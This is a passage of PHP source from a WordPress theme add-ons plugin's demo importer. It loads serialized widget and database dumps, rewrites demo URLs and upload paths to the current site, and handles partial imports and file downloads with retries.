'trx_addons'), $this->options['files'][$this->options['demo_type']]['file_with_options'])); } } // Import widgets function import_widgets() { if ($this->options['debug']) dfl(__('Import Widgets', 'trx_addons')); if ( empty($this->options['files'][$this->options['demo_type']]['file_with_widgets']) ) return; if ( ($txt = $this->get_file($this->options['files'][$this->options['demo_type']]['file_with_widgets'])) === false ) return; $data = trx_addons_unserialize($txt); if (is_array($data) && count($data) > 0) { foreach ($data as $k=>$v) { update_option( $k, $this->replace_uploads($v) ); } } else { if ($this->options['debug']) dfl(sprintf(__('Error unserialize data from the file %s', 'trx_addons'), $this->options['files'][$this->options['demo_type']]['file_with_widgets'])); } } // Import any SQL dump function import_dump($slug, $title) { if ($this->options['debug']) dfl(sprintf(__('Import dump file: "%s"', 'trx_addons'), $this->options['files'][$this->options['demo_type']]['file_with_' . $slug])); if ( empty($this->options['files'][$this->options['demo_type']]['file_with_' . $slug]) ) return; if ( ($txt = $this->get_file($this->options['files'][$this->options['demo_type']]['file_with_' . $slug])) === false ) return; $data = trx_addons_unserialize($txt); if (is_array($data) && count($data) > 0) { global $wpdb; foreach ($data as $table=>$rows) { $values = $fields = ''; $result = 100; $break = false; if ($this->options['debug']) dfl(sprintf(__('Process table "%s"', 'trx_addons'), $table)); if ( count( $wpdb->get_results( $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->prefix . trim($table) ), ARRAY_A ) ) == 0 ) { if ($this->options['debug']) dfl(sprintf(__('Table "%s" does not exists! Skip dump import for this table.', 'trx_addons'), $table)); continue; } // Clear table, if it is not 'users' or 'usermeta' and not any posts, terms or comments table if ($this->options['demo_set']=='full' && !in_array($table, array('users', 'usermeta')) && $this->action!='import_posts') $res = $wpdb->query("TRUNCATE TABLE " . esc_sql($wpdb->prefix . $table)); // Restore previous state (if import was split on parts) if ($this->options['demo_set']=='part' && $table=='posts' && $this->response['start_from_id'] > 0) { $this->part_replace = get_option('trx_addons_importer_part_replace', array()); $this->part_image = get_option('trx_addons_importer_part_image', array()); } if (is_array($rows) && ($posts_all=count($rows)) > 0) { $posts_counter = $posts_imported = 0; foreach ($rows as $row) { $posts_counter++; $result = $posts_counter < $posts_all ? round($posts_counter / $posts_all * 100) : 100; // Skip previously imported posts if (!empty($row['ID']) && $row['ID'] <= $this->response['start_from_id']) continue; // Check if this row will be imported in the set='part' if (!apply_filters('trx_addons_filter_importer_import_row', $this->options['demo_set']=='full', $table, $row, $this->options['demo_parts'])) continue; // Replace demo URL to current site URL $row = $this->replace_site_url($row, $this->options['files'][$this->options['demo_type']]['domain_demo']); $f = ''; $v = ''; if (is_array($row) && count($row) > 0) { // If 'demo_set' == 'part' - prepare data if ($this->options['demo_set']=='part') { if ( $table=='posts' ) { // Replace images in the post's content $row['post_content'] = preg_replace('/(\s+image=["\']\d+["\'])/', ' image="'.esc_attr($this->part_image['id']).'"', $row['post_content']); $row['post_content'] = preg_replace('/(\s+url=["\']\d+["\'])/', ' url="'.esc_attr($this->part_image['id']).'"', $row['post_content']); $row['post_content'] = preg_replace('/(url\([^\)]+\))/', 'url('.esc_attr($this->part_image['url']).')', $row['post_content']); // Replace category in the shortcodes $row['post_content'] = preg_replace('/(\s+category=["\']\d+["\'])/', ' category="0"', $row['post_content']); $row['post_content'] = preg_replace('/(\s+cat=["\']\d+["\'])/', ' cat="0"', $row['post_content']); } if ( $table=='postmeta' ) { // Replace images in the meta values if ($row['meta_key']=='_wpb_shortcodes_custom_css' ) $row['meta_value'] = preg_replace('/(url\([^\)]+\))/', 'url('.esc_attr($this->part_image['url']).')', $row['meta_value']); if ($row['meta_key']=='_thumbnail_id' ) $row['meta_value'] = $this->part_image['id']; // Change post ID in the post meta $row['post_id'] = $this->part_replace[$row['post_id']]; } } // Merge fields and values to string foreach ($row as $field => $value) { // If 'demo_set' == 'part' - skip autoincrement fields if ($this->options['demo_set']=='part') { if ($table=='posts' && $field=='ID') continue; if ($table=='postmeta' && $field=='meta_id') continue; } $f .= ($f ? ',' : '') . esc_sql($field); $v .= ($v ? ',' : '') . "'" . esc_sql($value) . "'"; } } if ($fields == '') $fields = '(' . trim($f) . ')'; $values .= ($values ? ',' : '') . '(' . trim($v) . ')'; // If query length exceed 64K - run query, because MySQL not accept long query string // If current table 'users' or 'usermeta' - run queries row by row, because we append data if (strlen($values) > 64000 || in_array($table, array('users', 'usermeta')) || ($this->options['demo_set']=='part' && $table=='posts')) { // Attention! All items in the variable $values are escaped in the loop above - esc_sql($value) // We can't use wpdb::prepare because we need calculate real query's length (with real values, but not with %s) $q = "INSERT INTO ".esc_sql($wpdb->prefix . $table) . ($this->options['demo_set']=='part' ? ' ' . $fields : '' ) . " VALUES {$values}"; $wpdb->query($q); $values = $fields = ''; if ($this->options['demo_set']=='part' && $table=='posts') { $this->part_replace[$row['ID']] = $wpdb->insert_id; $rez = $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $this->part_replace[$row['ID']] ) ), array( 'ID' => $this->part_replace[$row['ID']] ) ); } } // Save into log last ID $this->response['start_from_id'] = isset($row['ID']) ? max($row['ID'], $this->response['start_from_id']) : 0; if ($this->options['debug']) { dfl( sprintf( __('Record (ID=%s) is imported. Progress: %s. Time: %s sec. from %s sec.', 'trx_addons'), !empty($row['ID']) ? $row['ID'] . ($this->options['demo_set']=='part' ? '->' . $this->part_replace[$row['ID']] : '' ) : (!empty($row['meta_id']) ? $row['meta_id'] : (!empty($row['term_id']) ? $row['term_id'] : (!empty($row['post_id']) ? $row['post_id'] : '' ) ) ), $result.'%', time() - $this->start_time, $this->max_time ) ); } // Break import after timeout or if leave one post and execution time > half of max_time if (time() - $this->start_time >= $this->max_time) { $break = true; break; } } } if (!empty($values)) { // Attention! All items in the variable $values are escaped in the loop above - esc_sql($value) // We can't use wpdb::prepare because we need calculate real query's length (with real values, but not with %s) $q = "INSERT INTO ".esc_sql($wpdb->prefix . $table) . ($this->options['demo_set']=='part' ? ' ' . $fields : '' ) . " VALUES {$values}"; $wpdb->query($q); } if ($this->options['demo_set']=='part' && $table=='posts') { update_option('trx_addons_importer_part_replace', $result < 100 ? $this->part_replace : array()); update_option('trx_addons_importer_part_image', $result < 100 ? $this->part_image : array()); } if ($this->options['debug']) dfl(sprintf(__('Imported %s. Elapsed time %s sec. of %s sec.', 'trx_addons'), $result.'%', time() - $this->start_time, $this->max_time)); if ($break) break; } } else { if ($this->options['debug']) dfl(sprintf(__('Error unserialize data from the file %s', 'trx_addons'), $this->options['files'][$demo_type]['file_with_' . $slug])); } $this->response['result'] = $result; } // Check if the row will be imported // Handler of the add_filter('trx_addons_filter_importer_import_row', array($this, 'import_check_row'), 9, 4); function import_check_row($flag, $table, $row, $parts) { // If demo_set=='full' or previous handler set flag to true - return true if ($flag) return $flag; // Check posts, pages, etc. if ($table == 'posts') { $flag = $row['post_type']=='page' && in_array($row['ID'], $this->options['demo_pages']); } else if ($table == 'postmeta') { $flag = !empty($this->part_replace[$row['post_id']]); } return $flag; } // Copy no-image.jpg to the uploads folder function import_prepare_no_image() { $no_image_title = esc_html__('No-Image placeholder', 'trx_addons'); $no_image_post = get_page_by_title($no_image_title, OBJECT, 'attachment'); if ( empty($no_image_post->ID) ) { if ( ($img = trx_addons_get_file_dir("css/images/no-image.jpg")) != '') { // Copy to the 'uploads' folder $this->part_image = wp_upload_bits( 'no-image.jpg', 0, trx_addons_fgc($img)); if (empty($this->part_image['error'])) { // Prepare an array of post data for the attachment. $attachment = array( 'guid' => $this->part_image['url'], 'post_mime_type' => $this->part_image['type'], 'post_title' => $no_image_title, 'post_content' => '', 'post_status' => 'publish' ); $this->part_image['id'] = wp_insert_attachment( $attachment, $this->part_image['file'] ); // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once trailingslashit(ABSPATH) . 'wp-admin/includes/image.php'; wp_update_attachment_metadata( $this->part_image['id'], wp_generate_attachment_metadata( $this->part_image['id'], $this->part_image['file'] ) ); } } } else { $this->part_image = array( 'id' => $no_image_post->ID, 'url' => wp_get_attachment_url($no_image_post->ID), 'file' => '', 'type' => '' ); } } // Return array with pages id and title from the selected demo function get_list_pages_from_demo($demo_type) { $list = get_transient("trx_addons_installer_posts"); if (!$list || !is_array($list)) { $list = array(); if ( ($txt = $this->get_file($this->options['files'][$demo_type]['file_with_posts'])) === false ) return $list; $data = trx_addons_unserialize($txt); if (is_array($data) && is_array($data['posts'])) { foreach ($data['posts'] as $row) { if ($row['post_type'] == 'page') { $list[$row['ID']] = $row['post_title']; } } } set_transient("trx_addons_installer_posts", $list, 30*60); // Store to cache for 30 minutes } return $list; } // Callback of the get_list_pages action function get_list_pages_callback() { if ( !wp_verify_nonce( trx_addons_get_value_gp('ajax_nonce'), admin_url('admin-ajax.php') ) ) die(); $this->prepare_vars(); $response = array( 'error' => empty($_POST['demo_type']) ? esc_html__('Incorrect parameters', 'trx_addons') : '', ); if (!empty($_POST['demo_type'])) $response['data'] = $this->get_list_pages_from_demo($_POST['demo_type']); echo json_encode($response); die(); } // Replace uploads dir with new url function replace_uploads($str, $uploads_folder='uploads') { static $uploads_url = '', $uploads_len = 0; if (is_array($str) && count($str) > 0) { foreach ($str as $k=>$v) { $str[$k] = $this->replace_uploads($v, $uploads_folder); } } else if (is_string($str)) { if (empty($uploads_url)) { $uploads_info = wp_upload_dir(); $uploads_url = $uploads_info['baseurl']; $uploads_len = strlen($uploads_url); } $break = '\'" '; $pos = 0; while (($pos = strpos($str, "/{$uploads_folder}/", $pos))!==false) { $pos0 = $pos; $chg = true; while ($pos0) { if (strpos($break, substr($str, $pos0, 1))!==false) { $chg = false; break; } if (substr($str, $pos0, 5)=='http:' || substr($str, $pos0, 6)=='https:') break; $pos0--; } if ($chg) { $str = ($pos0 > 0 ? substr($str, 0, $pos0) : '') . ($uploads_url) . substr($str, $pos+strlen($uploads_folder)+1); $pos = $pos0 + $uploads_len; } else $pos++; } } return $str; } // Replace site url to current site url function replace_site_url($str, $old_url) { static $site_url = '', $site_len = 0; if (is_array($str) && count($str) > 0) { foreach ($str as $k=>$v) { $str[$k] = $this->replace_site_url($v, $old_url); } } else if (is_string($str)) { if (empty($site_url)) { $site_url = get_site_url(); $site_len = strlen($site_url); if (substr($site_url, -1)=='/') { $site_len--; $site_url = substr($site_url, 0, $site_len); } } if (substr($old_url, -1)=='/') $old_url = substr($old_url, 0, strlen($old_url)-1); $break = '\'" '; $pos = 0; while (($pos = strpos($str, $old_url, $pos))!==false) { $str = trx_addons_unserialize($str); if (is_array($str) && count($str) > 0) { foreach ($str as $k=>$v) { $str[$k] = $this->replace_site_url($v, $old_url); } $str = serialize($str); break; } else { $pos0 = $pos; $chg = true; while ($pos0 >= 0) { if (strpos($break, substr($str, $pos0, 1))!==false) { $chg = false; break; } if (substr($str, $pos0, 5)=='http:' || substr($str, $pos0, 6)=='https:') break; $pos0--; } if ($chg && $pos0>=0) { $str = ($pos0 > 0 ? substr($str, 0, $pos0) : '') . ($site_url) . substr($str, $pos+strlen($old_url)); $pos = $pos0 + $site_len; } else $pos++; } } } return $str; } // Replace strings then export data function prepare_data($str) { $need_ser = false; if (is_string($str) && substr($str, 0, 2)=='a:') { $str = trx_addons_unserialize($str); $need_ser = is_array($str); } if (is_array($str) && count($str) > 0) { foreach ($str as $k=>$v) { $str[$k] = $this->prepare_data($v); } } else if (is_string($str)) { // Replace developers domain to the demo domain if ($this->options['files'][$this->options['demo_type']]['domain_dev'] != $this->options['files'][$this->options['demo_type']]['domain_demo']) $str = str_replace( trx_addons_get_domain_from_url($this->options['files'][$this->options['demo_type']]['domain_dev']), trx_addons_get_domain_from_url($this->options['files'][$this->options['demo_type']]['domain_demo']), $str); // Replace DOS-style line endings to UNIX-style $str = str_replace("\r\n", "\n", $str); } if ($need_ser) $str = serialize($str); return $str; } // Return path of the downloaded demo file or false function download_file($fname, $result=0) { $rez = ''; $fname = trailingslashit($this->options['demo_url']) . trim($this->options['demo_type']) . '/' . trim($fname); // Download remote file if (substr($fname, 0, 5)=='http:' || substr($fname, 0, 6)=='https:') { $attempt = !empty($_POST['attempt']) ? (int) $_POST['attempt']+1 : 1; $response = download_url($fname, $this->max_time); if (is_string($response)) { $rez = $response; unset($this->response['attempt']); if ($this->options['debug']) dfl(sprintf(__('Download file %s successful', 'trx_addons'), $fname)); } else { if ($attempt < 3) { $this->response['attempt'] = $attempt; $this->response['result'] = $result; if ($this->options['debug']) { $error_log = sprintf(__("Attempt %d. Download file '%s' failed.", 'trx_addons'), $attempt, $fname); dfl($error_log); } } else { unset($this->response['attempt']); $this->response['error'] = sprintf(__("Error download file '%s'.", 'trx_addons'), $fname) . " \n" . __("Please, try again!", 'trx_addons'); if ($this->options['debug']) dfl($this->response['error']); } } } else { // File packed with theme $rez = file_exists($fname) ? $fname : trx_addons_get_file_dir($fname); } return $rez; } // Return content of the downloaded demo file or false function get_file($fname, $result=0) { $attempt = !empty($_POST['attempt']) ? (int) $_POST['attempt']+1 : 1; $fname = trailingslashit($this->options['demo_url']) . trim($this->options['demo_type']) . '/' . trim($fname); $txt = trx_addons_fgc($fname, true); if (empty($txt)) { if ($attempt < 3) { $this->response['attempt'] = $attempt; $this->response['result'] = $result; if ($this->options['debug']) { $error_log = sprintf(__("Attempt %d. Load data from the file '%s' failed. ", 'trx_addons'), $attempt, $fname); dfl($error_log); } } else { unset($this->response['attempt']); $this->response['error'] = sprintf(__("Error load data from the file '%s'.", 'trx_addons'), $fname) . " \n" . __("Please, try again!", 'trx_addons'); if ($this->options['debug']) dfl($this->response['error']); } $txt = false; } else { unset($this->response['attempt']); if ($this->options['debug']) dfl(sprintf(__('Load data from the file %s successful', 'trx_addons'), $fname)); } return $txt; } } ?>